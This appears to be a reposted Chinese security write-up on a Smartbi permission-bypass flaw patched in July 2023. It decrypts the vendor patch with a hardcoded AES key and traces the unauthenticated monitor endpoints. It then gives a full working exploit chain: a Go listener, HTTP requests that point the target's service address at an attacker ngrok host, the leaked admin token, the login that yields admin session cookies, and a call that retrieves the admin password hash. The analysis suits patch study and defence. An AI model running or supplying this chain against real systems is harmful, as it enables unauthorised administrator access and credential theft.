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漏洞介绍
Smartbi是企业级商业智能和大数据分析平台，满足用户在企业级报表、数据可视化分析、自助探索分析、数据挖掘建模、AI 智能分析等大数据分析需求。
2023年7月28日，Smartbi官方发布安全补丁，修复了一处权限绕过漏洞。该漏洞源于监控服务中的接口对于未登录状态也提供访问，并且攻击者能够传递可控的服务器地址到其中的某些功能，这些功能会向攻击者可控的服务器泄漏token，而这个token可被用来以管理员身份登录至后台。
影响版本
Smartbi <= V10 && Smartbi != V9.5 && 安全补丁 < 2023-07-28
漏洞分析
补丁包解密
下载官方提供的补丁包文件 patch.patches，使用010 Editor工具可以判断文件类型为AES加密文件。如下使用 cat命令进行查看，也能够判断出来。
$ cat patch.patchesn0+aJMe4W7hs6xzxE5RvhGCv5LbOMBYCfDSLnX9o7/jd1kKJekz5mNTWkLQrvG6+qi7OwYAAOBbUyhBYnFDbLuCShInJ9b/2YYktrClYvSbNVJwDAK+H/4+4yDfW9ugiUU7TLDwtIern5D+J8mQHliiwjVATE0pMPUzFDxVbZR6lV3/pPI+NqkQ33F8Vs89sFA8rpPGhxaVzkbL+CW/D3pRV1+24ANb1I579//jUkVteL+aJk8qYoBJz4w7PBxw2lFTedrrSzKZymhwISWdVo/oJwzF2BuX8ha+6QuOJ9uItzqNq……
通过寻找，在SmartbiX-AugmentedDataSet-0.0.1.jar中的 smartbix.augmenteddataset.util包中，存在 AESCryption类，提供AES加解密功能。
public final class AESCryption {private static String key = "1234567812345678";private static String iv = "1234567812345678";private static final String MODE = "AES/CBC/PKCS5Padding";private AESCryption() {}public static String encrypt(String data) {try {if (data == null) {return null;} else {Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");SecretKeySpec keyspec = new SecretKeySpec(key.getBytes("utf-8"), "AES");IvParameterSpec ivspec = new IvParameterSpec(iv.getBytes("utf-8"));cipher.init(1, keyspec, ivspec);byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8"));return Base64.encodeBase64String(encrypted).toString();}}}public static String decrypt(String encrypted) {try {if (encrypted == null) {return null;} else {byte[] encrypted1 = Base64.decodeBase64(encrypted);Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");SecretKeySpec keyspec = new SecretKeySpec(key.getBytes("utf-8"), "AES");IvParameterSpec ivSpec = new IvParameterSpec(iv.getBytes("utf-8"));cipher.init(2, keyspec, ivSpec);byte[] original = cipher.doFinal(encrypted1);String originalString = new String(original, "utf-8");return originalString;}}}}
那么，根据如上 key和 iv，编写Python解密脚本。
import argparsefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadfrom base64 import b64decodedef decrypt_aes_file(input_file, output_file, key=b'1234567812345678', iv=b'1234567812345678'):cipher = AES.new(key, AES.MODE_CBC, iv)with open(input_file, 'rb') as f_in:encrypted_data = f_in.read()decoded_data = b64decode(encrypted_data)decrypted_data = unpad(cipher.decrypt(decoded_data), AES.block_size)with open(output_file, 'wb') as f_out:f_out.write(decrypted_data)parser = argparse.ArgumentParser()parser.add_argument('-f', '--file', type=str, default="patch.patches", help="Path to file name.")args = parser.parse_args()filename = "decrypted-"+args.file+".zip"decrypt_aes_file(args.file, filename)print("[+] OutPut: " + filename)
最终解密出来的是一个zip压缩包，直接进行解压后就可以看到补丁代码。
$ mv patch.patches 2023-07-28-patch.patches && python deSmartBIPatch.py -f 2023-07-28-patch.patches[+] OutPut: decrypted-2023-07-28-patch.patches.zip$ unzip decrypted-2023-07-28-patch.patches.zip && tree decrypted-2023-07-28-patch.patchesdecrypted-2023-07-28-patch.patches├── patch.patches└── smartbi└── security└── patch└── impl├── AdminsPatchRule.class├── AdminsRMIServletPatchRule.class├── AssertFunctionRMIServletPatchRule.class├── BIConfigAdminsRMIServletPatchRule.class├── ChoosePathPatchRule.class├── ChoosePathRMIPatchRule.class├── EscapeErrorDetailPatchRule.class├── EscapeErrorDetailPatchRuleInternal$1.class├── EscapeErrorDetailPatchRuleInternal.class├── EscapeRefreshString$1$1.class├── EscapeRefreshString$1.class├── EscapeRefreshString.class├── LimitGetSelfPassword.class├── LimitGetSessionAttrPassword.class├── ListSessionsPatchRule.class├── RMIServletPatchRule.class├── RejectPatchRule.class├── RejectPatchRuleBy404.class├── RejectRMIDataConnPatchRule.class├── RejectRMIEncodeRule.class├── RejectRMIParamsStringsPatchRule.class├── RejectRMIPatchRule.class├── RejectSmartbixSetAddress.class├── RejectStubPostPatchRule.class├── RemoveLog4j2JNDIPatchRule.class├── RestrictIpPatchRule.class└── WindowUnLoadingAndAttributeRule.class
补丁代码分析
不断排查，定位到本次漏洞的补丁代码位于 RejectSmartbixSetAddress类，相关代码如下。
package smartbi.security.patch.impl;public class RejectSmartbixSetAddress extends PatchRule {public int patch(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException {try {String tagName = getTagName();if (tagName.contains("SmartbiV95")) {return 0;}Class<?> clazz = Class.forName("smartbix.datamining.service.MonitorService");Method getToken = clazz.getDeclaredMethod("getToken", String.class);if (getToken == null) {return 0;}return 1;} catch (Exception e) {return 1;}}}
如上代码先判断了版本号是否为V95，如果是则返回0，由此可见该版本不受该漏洞影响。然后继续判断 smartbix.datamining.service.MonitorService类中是否存在 getToken方法，如果不存在则返回0，即不受该漏洞影响。
但若存在 getToken方法则会返回1，此时再来查看补丁包中的 patch.patches日志更新文件，当 type为 RejectSmartbixSetAddress时，存在以下 url，这些 url将会被拒绝访问。
"PATCH_20230728": {"desc": "修复在某种特定情况下破解用户密码和特定情况下DB2绕过判断执行命令漏洞 (Patch.20230728 @2023-07-28)","urls": [{"url": "/smartbix/api/monitor/setServiceAddress","rules": [{"type": "RejectSmartbixSetAddress"}]}, {"url": "/smartbix/api/monitor/setServiceAddress/","rules": [{"type": "RejectSmartbixSetAddress"}]}, {"url": "/smartbix/api/monitor/setEngineAddress","rules": [{"type": "RejectSmartbixSetAddress"}]}, {"url": "/smartbix/api/monitor/setEngineAddress/","rules": [{"type": "RejectSmartbixSetAddress"}]}, {"url": "/smartbix/api/monitor/setEngineInfo","rules": [{"type": "RejectSmartbixSetAddress"}]}, {"url": "/smartbix/api/monitor/setEngineInfo/","rules": [{"type": "RejectSmartbixSetAddress"}]}]}
token处理逻辑
根据如上补丁代码分析，首先进入到 smartbix.datamining.service.MonitorService类中，该类位于SmartbiX-DataMining-0.0.1.jar文件。
找到 getToken方法，注解 @FunctionPermission({"NOT_LOGIN_REQUIRED"})可以表明 /token接口能被未授权访问，同时由于 @RequestBody注解的存在，该方法接收的内容类型不能为 application/x-www-form-urlencoded。
@RequestMapping(value = {"/token"},method = {RequestMethod.POST})@FunctionPermission({"NOT_LOGIN_REQUIRED"})public void getToken(@RequestBody String type) throws Exception {String token = this.catalogService.getToken(10800000L);ComponentStateHolder.toSmartbiX();if (StringUtil.isNullOrEmpty(token)) {throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null");} else if (!"SERVICE_NOT_STARTED".equals(token)) {Map<String, String> result = new HashMap();result.put("token", token);if ("experiment".equals(type)) {EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);} else if ("service".equals(type)) {EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});}ComponentStateHolder.toSmartbiX();ComponentStateHolder.fromSmartbiX();}}
如上 getToken方法中，最初先生成了一个 token字符串，跟进 catalogService.getToken方法，其中又调用了 pushLoginTokenByEngine方法来生成一个管理员用户的 token。
该 token不为空且不为字符串 SERVICE_NOT_STARTED，顺利进入到如下 elseif分支，此时根据 type值是为 "experiment"还是 "service"，存在两种情况。
else if (!"SERVICE_NOT_STARTED".equals(token)) {Map<String, String> result = new HashMap();result.put("token", token);if ("experiment".equals(type)) {EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);} else if ("service".equals(type)) {EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});}
它们接收的第一个参数值分别如下，差不多类似，取决于占位符。
ENGINE_TOKEN("{0}/api/v1/configs/engine/smartbitoken")SERVICE_TOKEN("%s/api/v1/configs/engine/smartbitoken")
postJsonService还会多传递了一个 EngineApi.address("service-address")对象， EngineApi.address方法如下，当接收的值为 "service-address"时会返回 "SERVICE_ADDRESS"的值，该值最终会被传递到 postJsonService方法中。
public static String address(String type) {if (type.equals("engine-address")) {return SystemConfigService.getInstance().getValue("ENGINE_ADDRESS");} else if (type.equals("service-address")) {return SystemConfigService.getInstance().getValue("SERVICE_ADDRESS");} else {return type.equals("outside-schedule") ? SystemConfigService.getInstance().getValue("MINING_OUTSIDE_SCHEDULE") : "";}}
分别查看 postJsonEngine和 postJsonService方法。在 postJsonEngine方法中， values值为空，而在 postJsonService方法中， values值为 "SERVICE_ADDRESS"的值。还存在的差异就是 EngineUrl.getUrl与 ServiceUrl.getUrl方法的不同。
public static <T> T postJsonEngine(String type, Object data, Class<T> dataType, Object... values) throws Exception {String url = EngineUrl.getUrl(type, values);return HttpKit.postJson(url, data, dataType);}public static <T> T postJsonService(String type, Object data, Class<T> dataType, Object... values) throws Exception {String url = ServiceUrl.getUrl(type, values);return HttpsKit.postJson(url, data, dataType);
在最后，它们都会向 getUrl方法返回的 url提交POST请求，body为JSON类型来发送 token值。
return HttpsKit.postJson(url, data, dataType);先进入到 EngineUrl.getUrl方法中，虽然传入其中的 values值将会为空，但在最后会将 EngineApi.address("engine-address")作为 "{0}/api/v1/configs/engine/smartbitoken"的占位符，根据如上的 address方法能够知道该值为 "ENGINE_ADDRESS"的值。
public static String getUrl(String val, Object... values) {EngineUrl engineUrl = null;engineUrl = valueOf(val);if (engineUrl != null && engineUrl.url != null) {String url = engineUrl.url;url = String.format(url, values);if (url.contains("lang=")) {Locale currentLocale = LanguageHelper.getCurrentLocale();String language = currentLocale.toString();url = MessageFormat.format(url, EngineApi.address("engine-address"), language);} else {url = MessageFormat.format(url, EngineApi.address("engine-address"));}return url;}}
同样的，进入 ServiceUrl.getUrl方法，在其中， values也就是传进来的 "SERVICE_ADDRESS"值会作为占位符，与 "%s/api/v1/configs/engine/smartbitoken"进行拼接。
public static String getUrl(String val, Object... values) {ServiceUrl serviceUrl = null;serviceUrl = valueOf(val);if (serviceUrl != null && serviceUrl.url != null) {String url = serviceUrl.url;url = String.format(url, values);if (url.contains("lang=")) {Locale currentLocale = LanguageHelper.getCurrentLocale();String language = currentLocale.toString();url = MessageFormat.format(url, language);}return url;}}
两个 getUrl方法返回的 url差不多类似，意味着在 MonitorService.getToken方法中， type值为 "experiment"或 "service"，都是差不多的，区别只在于 "ENGINE_ADDRESS"与 "SERVICE_ADDRESS"。
设置地址
如上分析，可以发现关键就在于 "ENGINE_ADDRESS"或 "SERVICE_ADDRESS"的值，需要是可控的。在补丁分析阶段，补丁日志更新文件中那些会被禁用的 url，有 engine、 service、 addressd的字眼。
"PATCH_20230728": {"desc": "修复在某种特定情况下破解用户密码和特定情况下DB2绕过判断执行命令漏洞 (Patch.20230728 @2023-07-28)","urls": [{"url": "/smartbix/api/monitor/setServiceAddress","rules": [{"type": "RejectSmartbixSetAddress"}]}, {"url": "/smartbix/api/monitor/setEngineAddress","rules": [{"type": "RejectSmartbixSetAddress"}]}]}
挑其中之一进行分析，如 /smartbix/api/monitor/setServiceAddress。根据 MonitorService类中的 @RequestMapping注解，该接口的处理方法如下，在其中恰恰就可以更新 "SERVICE_ADDRESS"的值，将该值更改为攻击者自己可控的服务器地址，便可以接收到管理员token，从而实现未授权后台登录。
@RequestMapping(value = {"/setServiceAddress"},method = {RequestMethod.POST})public ResponseModel setServiceAddress(@RequestBody String serviceAddress) {ResponseModel res = new ResponseModel();if (StringUtils.isBlank(serviceAddress)) {throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Service address cannot be empty");} else {this.systemConfigService.updateSystemConfig("SERVICE_ADDRESS", serviceAddress, NodeLanguage.getNodeLanguage("ServiceAddress"));res.setMessage("Service address updated successfully");return res.setTime();}}
补丁日志更新文件中其他被禁用的 url就不一一分析了，差别只在于请求路径有所不同。
token利用
MonitorService类中的 loginByToken方法，会调用 catalogService.loginByToken方法对传入的 token进行判断。
@RequestMapping(value = {"/login"},method = {RequestMethod.POST})@FunctionPermission({"NOT_LOGIN_REQUIRED"})public Map<String, Object> loginByToken(@RequestBody String token) {boolean isLogin = this.catalogService.loginByToken(token);ComponentStateHolder.toSmartbiX();Map<String, Object> result = new HashMap();result.put("result", isLogin);ComponentStateHolder.fromSmartbiX();return result;}
而在 catalogService.loginByToken方法中，它又调用了 userManagerModule.loginByToken方法。
public boolean loginByToken(String token) {if (StringUtil.isNullOrEmpty(token)) {return false;} else {String userName = null;UserLoginToken loginToken = (UserLoginToken)LoginTokenDAO.getInstance().load(token);if (loginToken != null) {if (loginToken.getCreateTime() != null && System.currentTimeMillis() - loginToken.getCreateTime().getTime() <= loginToken.getDuration()) {userName = loginToken.getUserName();} else {this.deleteLoginToken(loginToken);}}if (StringUtil.isNullOrEmpty(userName)) {return false;} else {IUser user = this.getCurrentUser();if (user == null || !this.isAdmin(user.getId())) {if (this.stateModule.getSystemId() == null) {this.stateModule.setSystemId("DEFAULT_SYS");}this.stateModule.setCurrentUser(this.getUserById("SERVICE"));}if (loginToken != null && this.stateModule.getSession() != null) {String ext = loginToken.getExtended();JSONObject extended = StringUtil.isNullOrEmpty(ext) ? new JSONObject() : JSONObject.fromString(ext);extended.put("sessionId", this.stateModule.getSession().getId());loginToken.setExtended(extended.toString());LoginTokenDAO.getInstance().update(loginToken);}return this.switchUser(userName);}}}
该方法用于通过 token进行登录，它会根据传入的 token从数据库中加载用户登录信息，判断 token是否有效，并根据登录信息中的用户名来执行登录操作。同时，在登录过程中，会将会话ID加入到登录信息的扩展字段中，以便进行后续的会话管理。
漏洞利用
首先在自己服务器上起一个HTTP服务，当然也可以起在本地，利用某些内网穿透服务对外暴露本地HTTP服务来达到同样的效果。该HTTP服务将接收任意请求，均返回200状态码和JSON内容类型。
package mainimport ("encoding/json""fmt""io""net/http")func main() {http.HandleFunc("/", handleRequest)fmt.Println("Server is running on *:8088")http.ListenAndServe(":8088", nil)}func handleRequest(w http.ResponseWriter, r *http.Request) {printHTTPRequest(r)w.WriteHeader(http.StatusOK)w.Header().Set("Content-Type", "application/json")response := map[string]string{"message": "Hello, this is a response in JSON!"}jsonResponse, _ := json.Marshal(response)w.Write(jsonResponse)}func printHTTPRequest(r *http.Request) {fmt.Println("--- Received HTTP Request ---")fmt.Printf("%s %s %s\n", r.Method, r.URL.String(), r.Proto)for key, value := range r.Header {fmt.Printf("%s: %s\n", key, value)}body, _ := io.ReadAll(r.Body)fmt.Printf("\n%s\n", body)fmt.Println("---------------------------")}
向目标站点发送 "SERVICE_ADDRESS"，注意 Content-Type标头。
POST /[REDACTED]/setServiceAddress HTTP/1.1Host:User-Agent: Mozilla/5.0Connection: closeContent-Length: 40Content-Type: text/plainAccept-Encoding: gzip, deflatehttps://hz29-03-542-6-825.ngrok-free.app
HTTP/1.1 200Server: nginxDate: Wed, 02 Aug 2023 02:48:27 GMTContent-Type: application/jsonContent-Length: 85Connection: closeSet-Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be868e412d09; Path=/smartbi; HttpOnlySet-Cookie: JSESSIONID=9DAB60CE0FFEDC6475B6F1837BA6C3D5; Path=/smartbi; HttpOnly{"took":2,"success":true,"message":"Service address updated successfully","code":200}
请求 /engineInfo，可以查看刚刚设置的 serviceAddress。
POST /[REDACTED]/engineInfo HTTP/1.1Host:User-Agent: Mozilla/5.0Connection: closeContent-Length: 0Content-Type: text/plainAccept-Encoding: gzip, deflate
HTTP/1.1 200Server: nginxDate: Wed, 02 Aug 2023 02:58:37 GMTContent-Type: application/jsonContent-Length: 224Connection: closeSet-Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be88dda52d11; Path=/smartbi; HttpOnlySet-Cookie: JSESSIONID=CD64F807282B28163038F08D5783DFE9; Path=/smartbi; HttpOnly{"took":0,"success":true,"message":"Operation successful","code":200,"entity":{"serviceAddress":"https://hz29-03-542-6-825.ngrok-free.app","engineAddress":"className=UserService\u0026methodName=isLogged\u0026params=%5B%5D"}}
接着，触发目标站点向我们可控的服务器发送token。
POST /[REDACTED]/token HTTP/1.1Host:User-Agent: Mozilla/5.0Connection: closeContent-Length: 7Content-Type: text/plainAccept-Encoding: gzip, deflateservice
HTTP/1.1 200Server: nginxDate: Wed, 02 Aug 2023 02:48:31 GMTContent-Length: 0Connection: closeSet-Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be86a23c2d0a; Path=/smartbi; HttpOnlySet-Cookie: JSESSIONID=68897394A366E12C9C72BC8C12D57670; Path=/smartbi; HttpOnly
与此同时，观察服务器上接收到的HTTP报文。
$ go run main.go ∞ ∞Server is running on *:8088--- Received HTTP Request ---POST /api/v1/configs/engine/smartbitoken HTTP/1.1User-Agent: [Apache-HttpClient/4.5.13 (Java/1.8.0_201)]Content-Length: [59]Accept-Encoding: [gzip,deflate]Content-Type: [application/json; charset=UTF-8]X-Forwarded-For: [x.x.x.x]X-Forwarded-Proto: [https]{"token":"admin_I8a8a86440188d7d8d7d84ba80189be72528e2cfa"}---------------------------
然后，就可以拿这个token去请求 /login ，从而获得一个有效的JSESSIONID。
POST /[REDACTED]/login HTTP/1.1Host:User-Agent: Mozilla/5.0Connection: closeContent-Length: 47Content-Type: text/plainAccept-Encoding: gzip, deflateadmin_I8a8a86440188d7d8d7d84ba80189be79a6532cff
HTTP/1.1 200Server: nginxDate: Wed, 02 Aug 2023 03:06:56 GMTContent-Type: application/jsonContent-Length: 15Connection: closeSet-Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be86d8f62d0d; Path=/smartbi; HttpOnlySet-Cookie: JSESSIONID=31A219361B718184DBB129256068F050; Path=/smartbi; HttpOnly{"result":true}
替换如下Cookie标头便能成功实现管理员用户登录。
Cookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be86d8f62d0d; JSESSIONID=82214AE5A1234133379C4ED20E0A5CF8当然，还可以利用如上Cookie直接获取用户的密码，不过不是明文。
POST /smartbi/vision/RMIServlet HTTP/1.1Host: smartbi-test.miaozhen.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36Connection: closeCookie: smartbi_smartbi_sessionid=I8a8a86440188d7d8d7d84ba80189be86d8f62d0d; JSESSIONID=82214AE5A1234133379C4ED20E0A5CF8; CookieLanguageName=ZH-CNContent-Length: 61Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateclassName=UserService&methodName=getPassword¶ms=["admin"]
HTTP/1.1 200Server: nginxDate: Wed, 02 Aug 2023 03:06:56 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 71Connection: close{"retCode":0,"result":"0e6e061838856bf47e1de730719fb2609","duration":0}
如上响应中的 result字段值，将其首位的 0去掉就是一段MD5密文，解密后会发现是 [email protected]。
修复建议
目前厂商已发布安全补丁以修复这个安全问题，请通过如下链接下载安全补丁：
https://www.smartbi.com.cn/patchinfo
文章来源: http://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652502300&idx=1&sn=c994833e222bfd8625f04ed526b7231c&chksm=f2585aafc52fd3b977aa92705587a1f9d9b54a39c3a13cb47c85c02e19e9bb1480e268057ad3&scene=0&xtrack=1#rd
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